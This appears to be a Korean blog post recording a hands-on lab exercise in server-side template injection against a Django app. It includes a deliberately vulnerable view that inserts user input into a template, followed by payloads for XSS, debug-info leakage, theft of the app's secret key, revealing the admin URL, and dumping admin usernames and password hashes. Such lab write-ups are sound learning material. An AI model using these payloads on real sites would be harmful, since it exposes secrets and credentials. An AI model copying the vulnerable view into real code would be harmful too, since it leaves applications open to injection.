본문 바로가기
Web hacking/개념 정리 & 심화

Django를 이용한 SSTI 실습

by m_.9m 2022. 12. 1.

환경 설정

2022.11.17 - [Web hacking/웹 정리 & 심화] - Django 설치 및 실습 - 1

2022.12.01 - [Web hacking/웹 정리 & 심화] - Django 설치 및 실습 - 2

 

2.1.2 SSTI 공격 방법 - Django

페이로드와 url, view 구문 참조

https://github.com/Lifars/davdts

 

GitHub - Lifars/davdts: Simple Django to show post-exploitation options when server-side template injection (SSTI) is present in

Simple Django to show post-exploitation options when server-side template injection (SSTI) is present in app using Django Templates. - GitHub - Lifars/davdts: Simple Django to show post-exploitat...

github.com

 

위에 깃헙에 올라온 페이로드와 장고의 SSTI에 관한 보고서가 존재한다.

https://lifars.com/wp-content/uploads/2021/06/Django-Templates-Server-Side-Template-Injection-v1.0.pdf

 

 

실습시 {{7*7}}이 되지 않는데, jinja2와 달리 장고 템플릿은 수식을 허용하지 않는다는 설명을 확인할 수 있었다.

 

앱 URL에 해당 구문을 추가한다.

path('attack', attack, name='attack'),

 

view에 attck 함수를 추가한다.

def attack(request):
    engine = engines["django"]
    template = engine.from_string("<html><body><form method=get><input name=injection><br><input type=submit></form><br>"+request.GET.get("injection")+"</body></html>")
    return HttpResponse(template.render({}, request))

 

경로를 입력해 홈페이지를 띄운다. INPUT 입력창에 문구를 입력하면 아래 출력되며 GET 형으로 전송되기때문에 URL내에서 확인이 가능햐다.

 

 


 

페이로드 실습

 

XXS(크로스 사이트 스크립팅)

대부분의 경우 첫번쩨 구문을 사용할 수 있고 필터링 되는 경우 두번째 페이로드로 통과한 문자열을 안전한 것으로 표시해 이스케이프하지 않게 할 수 있다. 

{{ '<script>alert(3)</script>' }}

{{ '<script>alert(3)</script>' | safe }}

 

디버그 정보 유출

{% debug %}

 

앱의 비밀 키 유출 (쿠키 스토리지가 첫 번째 메시지 저장소라고 가정)

{{ messages.storages.0.signer.key }}

 

관리 사이트 URL 유출

관리 사이트의 경로를 알 수 없을때 우리는 다음 페이로드를 사용해 관리 사이트를 유출 할 수 있다.

{% include 'admin/base.html' %}

 

관리자 사용자 이름 및 암호 해시 누출 (레코드가 존재한다고 가정) :admin_log

{% load log %}{% get_admin_log 10 as log %}{% for e in log %} {{e.user.get_username}} : {{e.user.password}}{% endfor %}

해당 log가 없어 출력 X.

 

 


Django 환경설정 참고 링크

https://joyhong.tistory.com/156

https://scshim.tistory.com/562